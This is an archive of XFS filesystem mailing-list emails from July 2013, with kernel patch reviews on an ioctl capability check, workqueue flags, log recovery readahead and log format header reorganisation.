X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 10B7C7CBF for ; Tue, 30 Jul 2013 07:37:04 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 02E60304077 for ; Tue, 30 Jul 2013 05:37:01 -0700 (PDT) X-ASG-Debug-ID: 1375187820-04cb6c2e9f234780001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id 5O1IY2AZfnH2kERE for ; Tue, 30 Jul 2013 05:37:00 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx09.intmail.prod.int.phx2.redhat.com (int-mx09.intmail.prod.int.phx2.redhat.com [10.5.11.22]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r6UCavFP018922 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Tue, 30 Jul 2013 08:36:57 -0400 Received: from laptop.bfoster (vpn-59-251.rdu2.redhat.com [10.10.59.251]) by int-mx09.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id r6UCauvj020406 (version=TLSv1/SSLv3 cipher=DHE-RSA-CAMELLIA256-SHA bits=256 verify=NO); Tue, 30 Jul 2013 08:36:57 -0400 Message-ID: <51F7B2A3.7030007@redhat.com> Date: Tue, 30 Jul 2013 08:33:39 -0400 From: Brian Foster User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130625 Thunderbird/17.0.7 MIME-Version: 1.0 To: Dwight Engen CC: xfs@oss.sgi.com Subject: Re: [PATCH v7 6/7] xfs: add capable check to free eofblocks ioctl References: <20130729230705.128e4509@oracle.com> X-ASG-Orig-Subj: Re: [PATCH v7 6/7] xfs: add capable check to free eofblocks ioctl In-Reply-To: <20130729230705.128e4509@oracle.com> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.68 on 10.5.11.22 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1375187820 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 07/29/2013 11:07 PM, Dwight Engen wrote: > Check for CAP_SYS_ADMIN since the caller can truncate preallocated > blocks from files they do not own nor have write access to. A more > fine grained access check was considered: require the caller to > specify their own uid/gid and to use inode_permission to check for > write, but this would not catch the case of an inode not reachable > via path traversal from the callers mount namespace. > > Add check for read-only filesystem to free eofblocks ioctl. > > Signed-off-by: Dwight Engen > --- > fs/xfs/xfs_ioctl.c | 6 ++++++ > 1 file changed, 6 insertions(+) > > diff --git a/fs/xfs/xfs_ioctl.c b/fs/xfs/xfs_ioctl.c > index 6e72eff..b1990ac 100644 > --- a/fs/xfs/xfs_ioctl.c > +++ b/fs/xfs/xfs_ioctl.c > @@ -1613,6 +1613,12 @@ xfs_file_ioctl( > struct xfs_fs_eofblocks eofb; > struct xfs_eofblocks keofb; > > + if (!capable(CAP_SYS_ADMIN)) > + return -EPERM; > + I see that we aren't using XFS_ERROR() on the EPERM returns in xfs_file_ioctl(), but I see it used for other capability checks elsewhere (i.e., down in xfs_growfs_data()). Perhaps somebody can chime in as to the reasoning for that..? I guess it could be that we wouldn't want to fire a BUG() at the interface point (ioctl()) on debug kernels for every time a user attempts an operation they don't have the ability to perform (e.g., we should notice on internal failures, not when userspace sends us something wrong). > + if (IS_RDONLY(inode)) > + return -XFS_ERROR(EROFS); > + This should probably be consistent with the other read-only checks in the ioctl code and check the xfs_mount structure: if (mp->m_flags & XFS_MOUNT_RDONLY) return -XFS_ERROR(EROFS); Brian > if (copy_from_user(&eofb, arg, sizeof(eofb))) > return -XFS_ERROR(EFAULT); > > From htejun@gmail.com Tue Jul 30 07:40:45 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 5946D29DFC for ; Tue, 30 Jul 2013 07:40:45 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 305A3304077 for ; Tue, 30 Jul 2013 05:40:45 -0700 (PDT) X-ASG-Debug-ID: 1375188043-04cbb02c3e2324f0001-NocioJ Received: from mail-qe0-f44.google.com (mail-qe0-f44.google.com [209.85.128.44]) by cuda.sgi.com with ESMTP id Cuwb5DoxYs6LJ9uZ (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Tue, 30 Jul 2013 05:40:44 -0700 (PDT) X-Barracuda-Envelope-From: htejun@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.128.44 X-Barracuda-IPDD: Level1 [gmail.com/209.85.128.44] Received: by mail-qe0-f44.google.com with SMTP id 6so3039042qeb.3 for ; Tue, 30 Jul 2013 05:40:43 -0700 (PDT) X-Barracuda-IPDD: Level1 [gmail.com/209.85.128.44] X-Barracuda-IPDD: Level1 [gmail.com/209.85.128.44] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=sender:from:to:cc:subject:date:message-id:x-mailer:in-reply-to :references; bh=bqfEhnFzg80sIAZqB12FT7sRWKssxz2MmImfTGS6aRw=; b=QbyrRw5MPe2pArC+QNQCooCg7FB+kx9hmF7pdWUu1pTPJ3h3/EPlL+YX0THpr0hRa9 mRUvF8986jF/WW//ZA+oHvXuEJto9QGV6Dtlcw5miJ5grtwl3ayvcAUSblmc7FX6ogBm 0Fs0g/4DNvCmHsif75pdYnpINLCwNdYaanRRclrQCMPQvpvWTEryWvYKOJ8IPGIyYWIk guKvySEKBcJncE6ZJ6WOhnhppBmIPh9VhRyneM8yEQLzIaiN9qHLmA95eRWdKD22POE0 Y8B+cUM0fYsl5ZqOnL8Ois/IcRNq9BdD6kJpAn/o4Z3IZocNF0dzxGgzOOhEPO5vEOZ/ aSow== X-Received: by 10.49.2.195 with SMTP id 3mr35182221qew.15.1375188043840; Tue, 30 Jul 2013 05:40:43 -0700 (PDT) Received: from htj.lan (207-38-225-25.c3-0.43d-ubr1.qens-43d.ny.cable.rcn.com. [207.38.225.25]) by mx.google.com with ESMTPSA id w2sm84174871qec.8.2013.07.30.05.40.41 for (version=TLSv1.2 cipher=RC4-SHA bits=128/128); Tue, 30 Jul 2013 05:40:42 -0700 (PDT) Sender: Tejun Heo From: Tejun Heo To: linux-kernel@vger.kernel.org, laijs@cn.fujitsu.com Cc: shli@kernel.org, Tejun Heo , Ben Myers , Alex Elder , xfs@oss.sgi.com Subject: [PATCH 7/9] xfs: WQ_NON_REENTRANT is meaningless and going away Date: Tue, 30 Jul 2013 08:40:26 -0400 X-ASG-Orig-Subj: [PATCH 7/9] xfs: WQ_NON_REENTRANT is meaningless and going away Message-Id: <1375188028-11910-8-git-send-email-tj@kernel.org> X-Mailer: git-send-email 1.8.3.1 In-Reply-To: <1375188028-11910-1-git-send-email-tj@kernel.org> References: <1375188028-11910-1-git-send-email-tj@kernel.org> X-Barracuda-Connect: mail-qe0-f44.google.com[209.85.128.44] X-Barracuda-Start-Time: 1375188044 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.01 X-Barracuda-Spam-Status: No, SCORE=0.01 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA_TO_FROM_DOMAIN_MATCH, DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137436 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.01 BSF_SC0_SA_TO_FROM_DOMAIN_MATCH Sender Domain Matches Recipient Domain Hello, Please route this through the subsystem tree. As written in the description, this shouldn't make any functional difference and just prepares for the removal of WQ_NON_REENTRANT which is already noop. Thanks. ------ 8< ------- dbf2576e37 ("workqueue: make all workqueues non-reentrant") made WQ_NON_REENTRANT no-op and the flag is going away. Remove its usages. This patch doesn't introduce any behavior changes. Signed-off-by: Tejun Heo Cc: Ben Myers Cc: Alex Elder Cc: xfs@oss.sgi.com --- fs/xfs/xfs_super.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/fs/xfs/xfs_super.c b/fs/xfs/xfs_super.c index 1d68ffc..aeef0fc 100644 --- a/fs/xfs/xfs_super.c +++ b/fs/xfs/xfs_super.c @@ -870,17 +870,17 @@ xfs_init_mount_workqueues( goto out_destroy_unwritten; mp->m_reclaim_workqueue = alloc_workqueue("xfs-reclaim/%s", - WQ_NON_REENTRANT, 0, mp->m_fsname); + 0, 0, mp->m_fsname); if (!mp->m_reclaim_workqueue) goto out_destroy_cil; mp->m_log_workqueue = alloc_workqueue("xfs-log/%s", - WQ_NON_REENTRANT, 0, mp->m_fsname); + 0, 0, mp->m_fsname); if (!mp->m_log_workqueue) goto out_destroy_reclaim; mp->m_eofblocks_workqueue = alloc_workqueue("xfs-eofblocks/%s", - WQ_NON_REENTRANT, 0, mp->m_fsname); + 0, 0, mp->m_fsname); if (!mp->m_eofblocks_workqueue) goto out_destroy_log; -- 1.8.3.1 From bfoster@redhat.com Tue Jul 30 08:13:28 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 701B67CBF for ; Tue, 30 Jul 2013 08:13:28 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 63FB58F8033 for ; Tue, 30 Jul 2013 06:13:25 -0700 (PDT) X-ASG-Debug-ID: 1375190004-04cb6c153d2330a0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id 6jvPZYrWkMdh4GWa for ; Tue, 30 Jul 2013 06:13:24 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx12.intmail.prod.int.phx2.redhat.com (int-mx12.intmail.prod.int.phx2.redhat.com [10.5.11.25]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r6UDDLQB031009 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Tue, 30 Jul 2013 09:13:21 -0400 Received: from laptop.bfoster (vpn-59-251.rdu2.redhat.com [10.10.59.251]) by int-mx12.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id r6UDDJoa014470 (version=TLSv1/SSLv3 cipher=DHE-RSA-CAMELLIA256-SHA bits=256 verify=NO); Tue, 30 Jul 2013 09:13:20 -0400 Message-ID: <51F7BB2A.2090803@redhat.com> Date: Tue, 30 Jul 2013 09:10:02 -0400 From: Brian Foster User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130625 Thunderbird/17.0.7 MIME-Version: 1.0 To: zwu.kernel@gmail.com CC: xfs@oss.sgi.com, linux-fsdevel@vger.kernel.org, Zhi Yong Wu , linux-kernel@vger.kernel.org Subject: Re: [PATCH v2] xfs: introduce object readahead to log recovery References: <1375178347-29037-1-git-send-email-zwu.kernel@gmail.com> X-ASG-Orig-Subj: Re: [PATCH v2] xfs: introduce object readahead to log recovery In-Reply-To: <1375178347-29037-1-git-send-email-zwu.kernel@gmail.com> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.68 on 10.5.11.25 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1375190004 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 07/30/2013 05:59 AM, zwu.kernel@gmail.com wrote: > From: Zhi Yong Wu > > It can take a long time to run log recovery operation because it is > single threaded and is bound by read latency. We can find that it took > most of the time to wait for the read IO to occur, so if one object > readahead is introduced to log recovery, it will obviously reduce the > log recovery time. > > Log recovery time stat: > > w/o this patch w/ this patch > > real: 0m15.023s 0m7.802s > user: 0m0.001s 0m0.001s > sys: 0m0.246s 0m0.107s > > Signed-off-by: Zhi Yong Wu > --- Cool patch. I'm not terribly familiar with the log recovery code so take my comments with a grain of salt, but a couple things I noticed on a quick skim... > fs/xfs/xfs_log_recover.c | 162 +++++++++++++++++++++++++++++++++++++++++++++-- > fs/xfs/xfs_log_recover.h | 2 + > 2 files changed, 159 insertions(+), 5 deletions(-) > ... > > +STATIC int > +xlog_recover_items_pass2( > + struct xlog *log, > + struct xlog_recover *trans, > + struct list_head *buffer_list, > + struct list_head *ra_list) A nit, but technically this function doesn't have to be involved with readahead. Perhaps rename ra_list to item_list..? > +{ > + int error = 0; > + xlog_recover_item_t *item; > + > + list_for_each_entry(item, ra_list, ri_list) { > + error = xlog_recover_commit_pass2(log, trans, > + buffer_list, item); > + if (error) > + return error; > + } > + > + return error; > +} > + > /* > * Perform the transaction. > * > @@ -3189,9 +3314,11 @@ xlog_recover_commit_trans( > struct xlog_recover *trans, > int pass) > { > - int error = 0, error2; > - xlog_recover_item_t *item; > + int error = 0, error2, ra_qdepth = 0; > + xlog_recover_item_t *item, *next; > LIST_HEAD (buffer_list); > + LIST_HEAD (ra_list); > + LIST_HEAD (all_ra_list); > > hlist_del(&trans->r_list); > > @@ -3199,14 +3326,21 @@ xlog_recover_commit_trans( > if (error) > return error; > > - list_for_each_entry(item, &trans->r_itemq, ri_list) { > + list_for_each_entry_safe(item, next, &trans->r_itemq, ri_list) { > switch (pass) { > case XLOG_RECOVER_PASS1: > error = xlog_recover_commit_pass1(log, trans, item); > break; > case XLOG_RECOVER_PASS2: > - error = xlog_recover_commit_pass2(log, trans, > - &buffer_list, item); > + if (ra_qdepth++ >= XLOG_RECOVER_MAX_QDEPTH) { The counting mechanism looks strange and easy to break with future changes. Why not increment ra_qdepth in the else bracket where it is explicitly tied to the operation it tracks? > + error = xlog_recover_items_pass2(log, trans, > + &buffer_list, &ra_list); > + list_splice_tail_init(&ra_list, &all_ra_list); > + ra_qdepth = 0; So now we've queued up a bunch of items we've issued readahead on in ra_list and we've executed the recovery on the list. What happens to the current item? Brian > + } else { > + xlog_recover_ra_pass2(log, item); > + list_move_tail(&item->ri_list, &ra_list); > + } > break; > default: > ASSERT(0); > @@ -3216,9 +3350,27 @@ xlog_recover_commit_trans( > goto out; > } > > + if (!list_empty(&ra_list)) { > + error = xlog_recover_items_pass2(log, trans, > + &buffer_list, &ra_list); > + if (error) > + goto out; > + > + list_splice_tail_init(&ra_list, &all_ra_list); > + } > + > + if (!list_empty(&all_ra_list)) > + list_splice_init(&all_ra_list, &trans->r_itemq); > + > xlog_recover_free_trans(trans); > > out: > + if (!list_empty(&ra_list)) > + list_splice_tail_init(&ra_list, &all_ra_list); > + > + if (!list_empty(&all_ra_list)) > + list_splice_init(&all_ra_list, &trans->r_itemq); > + > error2 = xfs_buf_delwri_submit(&buffer_list); > return error ? error : error2; > } > diff --git a/fs/xfs/xfs_log_recover.h b/fs/xfs/xfs_log_recover.h > index 1c55ccb..16322f6 100644 > --- a/fs/xfs/xfs_log_recover.h > +++ b/fs/xfs/xfs_log_recover.h > @@ -63,4 +63,6 @@ typedef struct xlog_recover { > #define XLOG_RECOVER_PASS1 1 > #define XLOG_RECOVER_PASS2 2 > > +#define XLOG_RECOVER_MAX_QDEPTH 100 > + > #endif /* __XFS_LOG_RECOVER_H__ */ > From jeff.liu@oracle.com Tue Jul 30 08:27:00 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id B4C717CBF for ; Tue, 30 Jul 2013 08:27:00 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 391FFAC002 for ; Tue, 30 Jul 2013 06:26:57 -0700 (PDT) X-ASG-Debug-ID: 1375190815-04cbb02c3c236450001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id f2OIRuHgwnV8DUfo (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 30 Jul 2013 06:26:55 -0700 (PDT) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from ucsinet22.oracle.com (ucsinet22.oracle.com [156.151.31.94]) by userp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id r6UDQh76001081 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Tue, 30 Jul 2013 13:26:45 GMT Received: from aserz7022.oracle.com (aserz7022.oracle.com [141.146.126.231]) by ucsinet22.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r6UDQejB014952 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 30 Jul 2013 13:26:41 GMT Received: from abhmt116.oracle.com (abhmt116.oracle.com [141.146.116.68]) by aserz7022.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r6UDQeFq009698; Tue, 30 Jul 2013 13:26:40 GMT Received: from [192.168.1.103] (/123.119.98.62) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 30 Jul 2013 06:26:40 -0700 Message-ID: <51F7BF25.6010103@oracle.com> Date: Tue, 30 Jul 2013 21:27:01 +0800 From: Jeff Liu User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:11.0) Gecko/20120410 Thunderbird/11.0.1 MIME-Version: 1.0 To: Zhi Yong Wu CC: Dave Chinner , Zhi Yong Wu , xfstests Subject: Re: [PATCH] xfs: fix an assertion failure References: <1374759524-10061-1-git-send-email-zwu.kernel@gmail.com> <20130726020318.GD21982@dastard> <20130726113717.GN13468@dastard> X-ASG-Orig-Subj: Re: [PATCH] xfs: fix an assertion failure In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Source-IP: ucsinet22.oracle.com [156.151.31.94] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1375190815 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137437 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 07/30/2013 07:06 PM, Zhi Yong Wu wrote: > On Mon, Jul 29, 2013 at 4:33 PM, Zhi Yong Wu wrote: >> On Fri, Jul 26, 2013 at 7:37 PM, Dave Chinner wrote: >>> On Fri, Jul 26, 2013 at 02:01:23PM +0800, Zhi Yong Wu wrote: >>>> No, it still raised the same assertion as below: >>>> >>>> [ 521.715103] XFS: Assertion failed: !(bip->bli_item.li_flags & >>>> XFS_LI_IN_AIL), file: fs/xfs/xfs_buf_item.c, line: 940 >>> >>> How are you reproducing it? >>> >>> Can you take an event trace with trace-cmd and attach the output of >>> the report? >> After kernel base is switched to Linux 3.11-rc3, when i try to take >> event trace with trace-cmd, that issue doesn't appear any more in my >> environment. :) > When your patch is not applied, i hit this issue sometime today, and > take some event trace with trace-cmd, and attach it in this mail. But > after your patch is applied, i tried some times, but haven't hit so > far, so i want to see if i can hit it in next days. I have ran compilebench multiple times combine with different options against xfs-next in the past few days, but I can not reproduce this issue. Could you please show us your test case as Dave has asked? Sometimes, the test steps is more useful for someone who has interest in your post. Thanks, -Jeff From tinguely@sgi.com Tue Jul 30 08:31:41 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 5C24329DFC for ; Tue, 30 Jul 2013 08:31:41 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay1.corp.sgi.com (Postfix) with ESMTP id 1AACB8F8035; Tue, 30 Jul 2013 06:31:41 -0700 (PDT) Message-ID: <51F7C03C.8000704@sgi.com> Date: Tue, 30 Jul 2013 08:31:40 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: "Michael L. Semon" , xfs@oss.sgi.com Subject: Re: [PATCH 44/49] xfs: Reduce allocations during CIL insertion References: <1374215120-7271-45-git-send-email-david@fromorbit.com> <51EEF26F.5040001@sgi.com> <51EEF949.9020104@gmail.com> <51EFD68A.40400@sgi.com> <51F2E011.5020904@gmail.com> <51F2E4DD.4020301@sgi.com> <20130727015822.GV13468@dastard> <51F41250.9010703@sgi.com> <20130728011255.GY13468@dastard> <51F678F4.2020003@sgi.com> <20130730003000.GI13468@dastard> In-Reply-To: <20130730003000.GI13468@dastard> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 07/29/13 19:30, Dave Chinner wrote: > On Mon, Jul 29, 2013 at 09:15:16AM -0500, Mark Tinguely wrote: >> On 07/27/13 20:12, Dave Chinner wrote: >>> On Sat, Jul 27, 2013 at 01:32:48PM -0500, Mark Tinguely wrote: >>>> On 07/26/13 20:58, Dave Chinner wrote: >>>>> On Fri, Jul 26, 2013 at 04:06:37PM -0500, Mark Tinguely wrote: >>>>>> >>>>>> I can reproduce a problem in patch 44 too. It takes my copy test 20 >>>>>> minutes to deplete the log space with patch 44, Same test with patch >>>>>> 43 has been running a day and a half. I do not think that patch 44 >>>>>> is 100 times faster than patch 43 but I will let patch 43 spin all >>>>>> weekend on a couple machines to verify that patch 43 does not hang. >>>>> >>>>> Details, please. What's your "copy test"? > .... >>>> Micheal found the problem using a simple copy, so I am using copy-like test. >> >> BTW, the long term run of the copy.pl from bug 922 with patch 43 results: >> tail 0x601000055d7 >> grant/reserve 0x60100abb200 >> ctx t_unit_res 0x834 >> >> My log math may be off, tail/reserve diff is 1024, but the CTX holds >> more than that (2100 bytes). >> >> Looking at patch 44, it is the first time we use the calculation for >> the number of bytes in patch 43. So I am looking at where the new >> calculation in iop_size differs from the previous len calculation in >> xlog_cil_prepare_log_vecs(). So far, I am that inode entry is 140 >> bytes larger with the new calculation (former len 164 vrs new nbytes >> 304 type 123b - non-crc filesystem). > > Which size calculation is wrong? t~he one used to size the buffer > being allocated - which is intentionally oversized for the inode > forks - or the actual size formatted into the buffer, which was > unchanged? > > I mean, 164 bytes is an inode core (96 bytes) plus a inode log > format structure. The increase of 140 bytes indicates that we are > logging roughly the entire 256 byte inode - i.e. both forks. > > But are you looking at the size returned by iop_size or iop_format? > iop_size will be new, iop_format is unchanged by this patchset. > indeed, what iop_format returns as vectors is *unchanged* by this > patchset, so I think that you are chasing down the wrong path here. > 164 is the variable len. It is the sum of the xfs_log_iovec.i_len after format. 304 is the result of the iop_size(). starting in patch 44 that is used insteead of len. When we go do the format, we only use 164. It is the XFS_DINODE_FMT_EXTENTS inode type that generates the extra 140 bytes in xfs_inode_item_size(). In patch 43, use nbytes instead of len like is done in patch 44 and it hangs at the same time and manner than patch 44. >> I will see if I can substitute the nbytes for len (without >> triggering the ptr being exceeded assert) to see that will cause the >> hang. > > I know what the problem is will be, and that won't fix it. Hint: the > buffer is over sized. > > Cheers, > > Dave. --Mark. From tinguely@sgi.com Tue Jul 30 11:20:19 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 2A17B29DFC for ; Tue, 30 Jul 2013 11:20:19 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay1.corp.sgi.com (Postfix) with ESMTP id EE8A48F804B; Tue, 30 Jul 2013 09:20:15 -0700 (PDT) Message-ID: <51F7E7BF.6020108@sgi.com> Date: Tue, 30 Jul 2013 11:20:15 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 02/49] xfs: split out inode log item format definition References: <1374215120-7271-1-git-send-email-david@fromorbit.com> <1374215120-7271-3-git-send-email-david@fromorbit.com> In-Reply-To: <1374215120-7271-3-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 07/19/13 01:24, Dave Chinner wrote: > From: Dave Chinner > > Th elog item format definitions are shared with userspace. split the > out of header files that contain kernel only defintions to make it > simple to shared them. > > Signed-off-by: Dave Chinner > --- > #include "xfs_mount.h" > diff --git a/fs/xfs/xfs_inode.h b/fs/xfs/xfs_inode.h > index b55fd34..de4f963 100644 > --- a/fs/xfs/xfs_inode.h > +++ b/fs/xfs/xfs_inode.h ... > - * NOTE: This structure must be kept identical to struct xfs_dinode > - * in xfs_dinode.h except for the endianness annotations. > - */ > -typedef struct xfs_icdinode { > - __uint16_t di_magic; /* inode magic # = XFS_DINODE_MAGIC */ ... > - uuid_t di_uuid; /* UUID of the filesystem */ > - > - /* structure must be padded to 64 bit alignment */ > -} xfs_icdinode_t; > - ... > diff --git a/fs/xfs/xfs_log_format.h b/fs/xfs/xfs_log_format.h > index 9f9aeb6..fd46a7f 100644 > --- a/fs/xfs/xfs_log_format.h > +++ b/fs/xfs/xfs_log_format.h > @@ -18,6 +18,16 @@ > #ifndef __XFS_LOG_FORMAT_H__ > #define __XFS_LOG_FORMAT_H__ > > +/* > + * On-disk Log Format definitions. > + * > + * This file contains all the on-disk format definitions used within the log. It > + * includes the physical log structure itself, as well as all the log item > + * format structures that are written into the log and intepreted by log > + * recovery. We start with the physical log format definitions, and then work > + * through all the log items definitions and everything they encode into the > + * log. > + */ ... > +static inline int xfs_ilog_fdata(int w) > +{ > + return (w == XFS_DATA_FORK ? XFS_ILOG_DDATA : XFS_ILOG_ADATA); > +} > + > +/* > + * Incore version of the on-disk inode core structures. We log this directly > + * into the journal in host CPU format (for better or worse) and as such > + * directly mirrors the xfs_dinode structure as it must contain all the same > + * information. > + */ > +typedef struct xfs_ictimestamp { > + __int32_t t_sec; /* timestamp seconds */ > + __int32_t t_nsec; /* timestamp nanoseconds */ > +} xfs_ictimestamp_t; > + > +/* > + * NOTE: This structure must be kept identical to struct xfs_dinode > + * in xfs_dinode.h except for the endianness annotations. > + */ > +typedef struct xfs_icdinode { > + __uint16_t di_magic; /* inode magic # = XFS_DINODE_MAGIC */ > + __uint16_t di_mode; /* mode and type of file */ ... > + uuid_t di_uuid; /* UUID of the filesystem */ > + > + /* structure must be padded to 64 bit alignment */ > +} xfs_icdinode_t; A log header file does not strike me as the place for the internal representation of the on disk inode structure. --Mark. From bpm@oss.sgi.com Tue Jul 30 13:12:45 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-0.0 required=5.0 tests=NO_RELAYS autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: by oss.sgi.com (Postfix, from userid 46323) id C48DF7F3F; Tue, 30 Jul 2013 13:12:45 -0500 (CDT) From: xfs@oss.sgi.com To: xfs@oss.sgi.com Subject: [XFS updates] XFS development tree branch, master, updated. 